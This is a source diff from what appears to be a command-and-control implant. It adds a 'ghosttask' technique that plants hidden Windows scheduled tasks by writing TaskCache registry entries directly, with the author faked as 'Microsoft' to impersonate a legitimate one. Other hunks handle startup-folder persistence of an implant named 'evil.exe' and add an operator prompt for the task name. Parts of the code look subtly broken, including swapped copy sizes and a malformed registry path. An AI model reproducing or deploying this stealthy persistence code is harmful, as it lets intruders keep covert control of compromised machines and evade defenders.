https://labs.withsecure.com/publications/scheduled-task-tampering + // - https://github.com/netero1010/GhostTask/blob/main/GhostTask.c + + #define COPY_DATA(dest, src, size) \ + memcpy(dest, src, size); \ + dest += size; + + typedef struct Actions { + SHORT version; + DWORD dwAuthorSize; // 0xc + BYTE author[12]; + SHORT magic; + DWORD id; + DWORD dwCmdSize; + wchar_t* wCmd; + DWORD dwArgumentSize; + wchar_t* wArgument; + DWORD dwWorkingDirectorySize; + wchar_t* wWorkingDirectory; + short flags; + } Actions; + + typedef struct DynamicInfo { + DWORD dwMagic; + FILETIME ftCreate; + FILETIME ftLastRun; + DWORD dwTaskState; + DWORD dwLastErrorCode; + FILETIME ftLastSuccessfulRun; + } DynamicInfo; + + typedef struct AlignedByte { + BYTE value; + BYTE padding[7]; + } AlignedByte; + + typedef struct TSTIME { + AlignedByte isLocalized; + FILETIME time; + } TSTIME; + + // Total size is 0x68 + typedef struct TimeTrigger { + uint32_t magic; + DWORD unknown0; + TSTIME startBoundary; + TSTIME endBoundary; + TSTIME unknown1; + DWORD repetitionIntervalSeconds; + DWORD repetitionDurationSeconds; + DWORD timeoutSeconds; + DWORD mode; + short data0; + short data1; + short data2; + short pad0; + byte stopTasksAtDurationEnd; + byte enabled; + short pad1; + DWORD unknown2; + DWORD maxDelaySeconds; + DWORD pad2; + uint64_t triggerId; + } TimeTrigger; + + // Total size is 0x60 + typedef struct LogonTrigger { + uint32_t magic; + DWORD unknown0; + TSTIME startBoundary; + TSTIME endBoundary; + DWORD delaySeconds; + DWORD timeoutSeconds; + DWORD repetitionIntervalSeconds; + DWORD repetitionDurationSeconds; + DWORD repetitionDurationSeconds2; + DWORD stopAtDurationEnd; + AlignedByte enabled; + AlignedByte unknown1; + DWORD triggerId; + DWORD blockPadding; + AlignedByte skipUser; // 0x00 0x48484848484848 + } LogonTrigger; + + typedef struct Header { + AlignedByte version; + TSTIME startBoundary; // The earliest startBoundary of all triggers + TSTIME endBoundary; // The latest endBoundary of all triggers + } Header; + + // Local accounts + typedef struct UserInfoLocal { + AlignedByte skipUser; // 0x00 0x48484848484848 + AlignedByte skipSid; // 0x00 0x48484848484848 + DWORD sidType; // 0x1 + DWORD pad0; // 0x48484848 + DWORD sizeOfSid; + DWORD pad1; // 0x48484848 + BYTE sid[12]; + DWORD pad2; // 0x48484848 + DWORD sizeOfUsername; // can be 0 + DWORD pad3; // 0x48484848 + } UserInfoLocal; + + typedef struct OptionalSettings { + DWORD idleDurationSeconds; + DWORD idleWaitTimeoutSeconds; + DWORD executionTimeLimitSeconds; + DWORD deleteExpiredTaskAfter; + DWORD priority; + DWORD restartOnFailureDelay; + DWORD restartOnFailureRetries; + GUID networkId; + // Padding for networkId + DWORD pad0; + } OptionalSettings; + + typedef struct JobBucketLocal { + DWORD flags; + DWORD pad0; // 0x48484848 + DWORD crc32; + DWORD pad1; // 0x48484848 + DWORD sizeOfAuthor; // 0xe + DWORD pad2; // 0x48484848 + BYTE author[12]; // Author + DWORD pad3; + DWORD displayName; + DWORD pad4; // 0x48484848 + UserInfoLocal userInfoLocal; + DWORD sizeOfOptionalSettings; + DWORD pad5; + OptionalSettings optionalSettings; + } JobBucketLocal; + + typedef struct TriggerLocal { + Header header; + JobBucketLocal jobBucketLocal; + BYTE trigger[]; + } TriggerLocal; + + // ------------------------------------------------------------------ + // Generate random GUID for the task. + // ------------------------------------------------------------------ + + GUID guid = {0}; + RPC_WSTR wGuidStr = nullptr; + if (pState->pProcs->lpUuidCreate(&guid) != RPC_S_OK) + { + return L"Error: Failed to create GUID."; + } + if (pState->pProcs->lpUuidToStringW(&guid, &wGuidStr) != RPC_S_OK) + { + return L"Error: Failed to convert GUID to string."; + } + + // Convert RPC_WSTR to wstring + std::wstring wGuid(reinterpret_cast(wGuidStr)); + // Convert to const BYTE*. This is used for setting values to registry keys. + const BYTE* lpGuid = reinterpret_cast(wGuid.c_str()); + + // Get the size + DWORD dwGuidSize = wGuid.size() * sizeof(wchar_t); + + pState->pProcs->lpRpcStringFreeW(&wGuidStr); + + // ------------------------------------------------------------------ + // Generate SD (Security Descriptor). + // ------------------------------------------------------------------ + + PSECURITY_DESCRIPTOR pSd; + ULONG dwSdSize; + if (!pState->pProcs->lpConvertStringSecurityDescriptorToSecurityDescriptorW( + L"O:BAG:SYD:", + 1, + &pSd, + &dwSdSize + )) { + return L"Error: Failed to generate the SD."; + } + + // ------------------------------------------------------------------ + // Prepare subkay paths. + // ------------------------------------------------------------------ + + std::wstring wSubKeyBase = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\"; + std::wstring wSubKeyPlain = wSubKeyBase = L"Plain\\" + wGuid; + std::wstring wSubKeyTasks = wSubKeyBase + L"Tasks\\" + wGuid; + std::wstring wSubKeyTree = wSubKeyBase + L"Tree\\" + wSchTaskName; + + // ------------------------------------------------------------------ + // Create subkey 1. Plain + // ------------------------------------------------------------------ + + HKEY hKeyPlain; + + LONG result = pState->pProcs->lpRegCreateKeyExW( + HKEY_LOCAL_MACHINE, + wSubKeyPlain.c_str(), + 0, + nullptr, + REG_OPTION_NON_VOLATILE, + KEY_ALL_ACCESS, + nullptr, + &hKeyPlain, + nullptr + ); + if (result != ERROR_SUCCESS) + { + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to create the registry key \"" + wSubKeyPlain + L"\": " + wErrMsg; + } + + pState->pProcs->lpRegCloseKey(hKeyPlain); + + // ------------------------------------------------------------------ + // Create subkey 2. Tasks + // ------------------------------------------------------------------ + + HKEY hKeyTasks; + + result = pState->pProcs->lpRegCreateKeyExW( + HKEY_LOCAL_MACHINE, + wSubKeyTasks.c_str(), + 0, + nullptr, + REG_OPTION_NON_VOLATILE, + KEY_ALL_ACCESS, + nullptr, + &hKeyTasks, + nullptr + ); + if (result != ERROR_SUCCESS) + { + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to create the registry key \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + + // Prepare data. + std::wstring wAuthor = L"Microsoft"; // impersonate a legitimage name. + const BYTE* lpAuthor = reinterpret_cast(wAuthor.c_str()); + DWORD dwAuthorSize = wAuthor.size() * sizeof(wchar_t); + + const BYTE* lpSchTaskName = reinterpret_cast(wSchTaskName.c_str()); + DWORD dwSchTaskNameSize = wSchTaskName.size() * sizeof(wchar_t); + + std::wstring wDate = L"2021-01-01T00:00:00"; + const BYTE* lpDate = reinterpret_cast(wDate.c_str()); + DWORD dwDateSize = wDate.size() * sizeof(wchar_t); + + wchar_t wCmd[256] = {0}; + DWORD dwCmdSize = wcslen(wCmd); + + wchar_t wArgument[256] = {0}; + DWORD dwArgumentSize = wcslen(wArgument); + + wchar_t wWorkingDirectory[256] = {0}; + DWORD dwWorkingDirectorySize = wcslen(wWorkingDirectory); + + Actions* actions = (Actions*)malloc(sizeof(Actions)); + actions->version = 0x3; + actions->dwAuthorSize = dwAuthorSize; + memcpy(actions->author, lpAuthor, actions->dwAuthorSize); + actions->magic = 0x6666; + actions->id = 0; + actions->dwCmdSize = dwCmdSize; + actions->wCmd = wCmd; + actions->dwArgumentSize = dwArgumentSize; + actions->wArgument = wArgument; + actions->dwWorkingDirectorySize = dwWorkingDirectorySize; + actions->wWorkingDirectory = wWorkingDirectory; + actions->flags = 0; + + BYTE* actionsRaw = nullptr; + DWORD dwActionSize; + dwActionSize = sizeof(SHORT) + sizeof(DWORD) + dwAuthorSize + sizeof(SHORT) + sizeof(DWORD) + sizeof(DWORD) + dwCmdSize + sizeof(DWORD) + dwArgumentSize + sizeof(DWORD) + dwWorkingDirectorySize + sizeof(short); + actionsRaw = (BYTE*)malloc(dwActionSize); + BYTE* ptr = actionsRaw; + COPY_DATA(ptr, &actions->version, sizeof(SHORT)); + COPY_DATA(ptr, &actions->dwAuthorSize, sizeof(DWORD)); + COPY_DATA(ptr, actions->author, actions->dwAuthorSize); + COPY_DATA(ptr, &actions->magic, sizeof(SHORT)); + COPY_DATA(ptr, &actions->id, sizeof(DWORD)); + COPY_DATA(ptr, &actions->dwCmdSize, dwCmdSize); + COPY_DATA(ptr, actions->wCmd, sizeof(DWORD)); + COPY_DATA(ptr, &actions->dwArgumentSize, sizeof(DWORD)); + COPY_DATA(ptr, actions->wArgument, dwArgumentSize); + COPY_DATA(ptr, &actions->dwWorkingDirectorySize, sizeof(DWORD)); + COPY_DATA(ptr, actions->wWorkingDirectory, dwWorkingDirectorySize); + COPY_DATA(ptr, &actions->flags, sizeof(SHORT)); + + AlignedByte empty; + empty.value = 0; + memset(empty.padding, 0, 7); + + AlignedByte enable; + enable.value = 1; + memset(enable.padding, 0, 7); + + AlignedByte skipSid; + skipSid.value = 0; + memset(skipSid.padding, 0x48, 7); + + AlignedByte skipUser; + skipUser.value = 1; + memset(skipUser.padding, 0x48, 7); + + AlignedByte version; + version.value = 0x17; + memset(version.padding, 0, 7); + + WCHAR wAccountName[256]; + DWORD dwAccountNameSize = sizeof(wAccountName) / sizeof(wAccountName[0]); + if (!pState->pProcs->lpGetUserNameW(wAccountName, &dwAccountNameSize)) + { + free(actionsRaw); + free(actions); + return L"Error: Failed to get current user name."; + } + BYTE wSid[SECURITY_MAX_SID_SIZE]; + DWORD dwSidSize; + WCHAR wDomainName[256]; + DWORD dwDomainNameSize = sizeof(wDomainName) / sizeof(wDomainName[0]); + SID_NAME_USE sidType; + + if (!pState->pProcs->lpLookupAccountNameW( + nullptr, + wAccountName, + wSid, + &dwSidSize, + wDomainName, + &dwDomainNameSize, + &sidType + )) { + free(actionsRaw); + free(actions); + return L"Error: Failed to lookup account name."; + } + + SYSTEMTIME st; + pState->pProcs->lpGetSystemTime(&st); + FILETIME ft; + pState->pProcs->lpSystemTimeToFileTime(&st, &ft); + FILETIME emptyTime; + emptyTime.dwLowDateTime = 0; + emptyTime.dwHighDateTime = 0; + + DynamicInfo dynamicInfo; + dynamicInfo.dwMagic = 0x3; + dynamicInfo.ftCreate = ft; + dynamicInfo.ftLastRun = emptyTime; + dynamicInfo.dwTaskState = 0; + dynamicInfo.dwLastErrorCode = 0; + dynamicInfo.ftLastSuccessfulRun = emptyTime; + + TriggerLocal *triggerLocal = nullptr; + triggerLocal = (TriggerLocal*)malloc(sizeof(TriggerLocal) + sizeof(LogonTrigger)); + TSTIME emptyTstime; + emptyTstime.isLocalized = empty; + emptyTstime.time = emptyTime; + LogonTrigger logonTrigger; + logonTrigger.magic = 0xaaaa; + logonTrigger.unknown0 = 0; + logonTrigger.startBoundary = emptyTstime; + logonTrigger.endBoundary = emptyTstime; + logonTrigger.delaySeconds = 0; + logonTrigger.timeoutSeconds = 0xffffffff; + logonTrigger.repetitionIntervalSeconds = 0; + logonTrigger.repetitionDurationSeconds = 0; + logonTrigger.repetitionDurationSeconds2 = 0; + logonTrigger.stopAtDurationEnd = 0; + logonTrigger.enabled = enable; + logonTrigger.unknown1 = empty; + logonTrigger.triggerId = 0; + logonTrigger.blockPadding = 0x48484848; + logonTrigger.skipUser = skipUser; + + UserInfoLocal userInfoLocal; + userInfoLocal.skipUser = skipUser; + userInfoLocal.skipSid = skipSid; + userInfoLocal.sidType = 0x1; + userInfoLocal.pad0 = 0x48484848; + userInfoLocal.sizeOfSid = dwSidSize; + userInfoLocal.pad1 = 0x48484848; + memcpy(userInfoLocal.sid, wSid, dwSidSize); + userInfoLocal.pad2 = 0x48484848; + userInfoLocal.sizeOfUsername = 0; + userInfoLocal.pad3 = 0x48484848; + + OptionalSettings optionalSettings; + optionalSettings.idleDurationSeconds = 0x258; + // Default value 1 hour + optionalSettings.idleWaitTimeoutSeconds = 0xe10; + // Default value 3 days + optionalSettings.executionTimeLimitSeconds = 0x3f480; + optionalSettings.deleteExpiredTaskAfter = 0xffffffff; + // Default value is 7 BELOW_NORMAL_PRIORITY_CLASS + optionalSettings.priority = 0x7; + optionalSettings.restartOnFailureDelay = 0; + optionalSettings.restartOnFailureRetries = 0; + GUID emptyNetworkId; + memset(&emptyNetworkId, 0, sizeof(GUID)); + optionalSettings.networkId = emptyNetworkId; + optionalSettings.pad0 = 0x48484848; + + JobBucketLocal jobBucketLocal; + jobBucketLocal.flags = 0x42412108; + jobBucketLocal.pad0 = 0x48484848; + jobBucketLocal.crc32 = 0; + jobBucketLocal.pad1 = 0x48484848; + jobBucketLocal.sizeOfAuthor = 0xe; + jobBucketLocal.pad2 = 0x48484848; + memcpy(jobBucketLocal.author, lpAuthor, 12); + jobBucketLocal.pad3 = 0x48480000; + jobBucketLocal.displayName = 0; + jobBucketLocal.pad4 = 0x48484848; + jobBucketLocal.userInfoLocal = userInfoLocal; + jobBucketLocal.sizeOfOptionalSettings = 0x2c; + jobBucketLocal.pad5 = 0x48484848; + jobBucketLocal.optionalSettings = optionalSettings; + + Header header; + header.version = version; + + triggerLocal->header = header; + triggerLocal->jobBucketLocal = jobBucketLocal; + memcpy(triggerLocal->trigger, &logonTrigger, sizeof(LogonTrigger)); + + // Set values. + if (pState->pProcs->lpRegSetValueExW(hKeyTasks, L"Author", 0, REG_SZ, lpAuthor, dwAuthorSize) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"Author\" in \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTasks, L"Path", 0, REG_SZ, lpSchTaskName, dwSchTaskNameSize) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"Path\" in \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTasks, L"URI", 0, REG_SZ, lpSchTaskName, dwSchTaskNameSize) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"URI\" in \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTasks, L"Date", 0, REG_SZ, lpDate, dwDateSize) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"Date\" in \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTasks, L"Actions", 0, REG_SZ, actionsRaw, dwActionSize) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"Actions\" in \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTasks, L"DynamicInfo", 0, REG_BINARY, (LPBYTE)&dynamicInfo, sizeof(dynamicInfo)) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"DynamicInfo\" in \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTasks, L"Triggers", 0, REG_BINARY, (LPBYTE)triggerLocal, sizeof(triggerLocal) + sizeof(LogonTrigger)) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"Triggers\" in \"" + wSubKeyTasks + L"\": " + wErrMsg; + } + + pState->pProcs->lpRegCloseKey(hKeyTasks); + + // ------------------------------------------------------------------ + // Create subkey 3. Tree + // ------------------------------------------------------------------ + + HKEY hKeyTree; + + result = pState->pProcs->lpRegCreateKeyExW( + HKEY_LOCAL_MACHINE, + wSubKeyTree.c_str(), + 0, + nullptr, + REG_OPTION_NON_VOLATILE, + KEY_ALL_ACCESS, + nullptr, + &hKeyTree, + nullptr + ); + if (result != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to create the registry key \"" + wSubKeyTree + L"\": " + wErrMsg; + } + + // Prepare data. + LONGLONG index = 3; + + // Set values. + if (pState->pProcs->lpRegSetValueExW(hKeyTree, L"Index", 0, REG_DWORD, (LPBYTE)index, 4) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"Index\" in \"" + wSubKeyTree + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTree, L"Id", 0, REG_SZ, lpGuid, dwGuidSize) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"Id\" in \"" + wSubKeyTree + L"\": " + wErrMsg; + } + if (pState->pProcs->lpRegSetValueExW(hKeyTree, L"SD", 0, REG_BINARY, (LPBYTE)pSd, dwSdSize) != ERROR_SUCCESS) + { + free(actionsRaw); + free(actions); + free(triggerLocal); + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to \"SD\" in \"" + wSubKeyTree + L"\": " + wErrMsg; + } + + pState->pProcs->lpRegCloseKey(hKeyTree); + + free(actionsRaw); + free(actions); + free(triggerLocal); + + return L"Error: This technique is not supported yet."; + } else if (wcscmp(wTechnique.c_str(), L"startup-folder") == 0) { // Get a destination path (startup folder + implant). @@ -284,8 +879,6 @@ namespace Task std::wstring wFileName = L"evil.exe"; std::wstring wDest = wAppData + L"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + wFileName; - Stdout::DisplayMessageBoxW(wDest.c_str(), L"startup-folder"); - // Read the implant data std::vector bytes = System::Fs::FileRead(pState->pProcs, std::wstring(lpSelfPath)); @@ -312,7 +905,8 @@ namespace Task ); if (result != ERROR_SUCCESS) { - return L"Error: Failed to open key."; + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to open key: " + wErrMsg; } std::wstring wExecutables = L"explorer.exe," + std::wstring(wSelfPath); @@ -334,7 +928,8 @@ namespace Task } else { - return L"Error: Failed to set value to registry."; + std::wstring wErrMsg = Stdout::GetErrorMessage(result); + return L"Error: Failed to set value to registry: " + wErrMsg; } } else diff --git a/payload/win/implant/src/hermit.cpp b/payload/win/implant/src/hermit.cpp index 9a7110a..330c0c6 100644 --- a/payload/win/implant/src/hermit.cpp +++ b/payload/win/implant/src/hermit.cpp @@ -118,6 +118,14 @@ namespace Hermit } pModules->hNetapi32 = hNetapi32; + WCHAR wRpcrt4[] = L"rpcrt4.dll"; + HMODULE hRpcrt4 = (HMODULE)Modules::LoadModule(pProcs, (LPWSTR)wRpcrt4); + if (!hRpcrt4) + { + return; + } + pModules->hRpcrt4 = hRpcrt4; + WCHAR wShell32[] = L"shell32.dll"; HMODULE hShell32 = (HMODULE)Modules::LoadModule(pProcs, (LPWSTR)wShell32); if (!hShell32) @@ -160,6 +168,7 @@ namespace Hermit hDbghelp, hIphlpapi, hNetapi32, + hRpcrt4, hShell32, hUser32, hWinHttp, diff --git a/pkg/common/parser/amtaskcommand.go b/pkg/common/parser/amtaskcommand.go index debe32e..e7039f0 100644 --- a/pkg/common/parser/amtaskcommand.go +++ b/pkg/common/parser/amtaskcommand.go @@ -755,9 +755,9 @@ func (c *amTaskPeCmd) Run( } // Choose target process to be injected // *This is used for 'process-hollowing' - var target_process = "notepad.exe" + var targetProcess = "notepad.exe" if technique == "process-hollowing" { - target_process, err = stdin.ReadInput("Process to be Injected", target_process) + targetProcess, err = stdin.ReadInput("Process to be Injected", targetProcess) if err != nil { return err } @@ -765,7 +765,7 @@ func (c *amTaskPeCmd) Run( task, err := _task.NewTask(ctx.Args[0], map[string]string{ "pe": c.Pe, - "target_process": target_process, + "target_process": targetProcess, "technique": technique, }) if err != nil { @@ -794,6 +794,7 @@ func (c *amTaskPersistCmd) Run( "default-file-extension-hijacking", "ifeo", "scheduled-task", + "ghosttask", "startup-folder", "winlogon", "(cancel)", @@ -807,7 +808,23 @@ func (c *amTaskPersistCmd) Run( return nil } - task, err := _task.NewTask(ctx.Args[0], map[string]string{"technique": res}) + // Additional options + var schTaskName = "EvilTask" + if res == "scheduled-task" || res == "ghosttask" { + for { + schTaskName, err = stdin.ReadInput("Task Name: ", "EvilTask") + if err != nil { + stdout.LogFailed(fmt.Sprint(err)) + continue + } + break + } + } + + task, err := _task.NewTask(ctx.Args[0], map[string]string{ + "technique": res, + "schtask_name": schTaskName, + }) if err != nil { return err }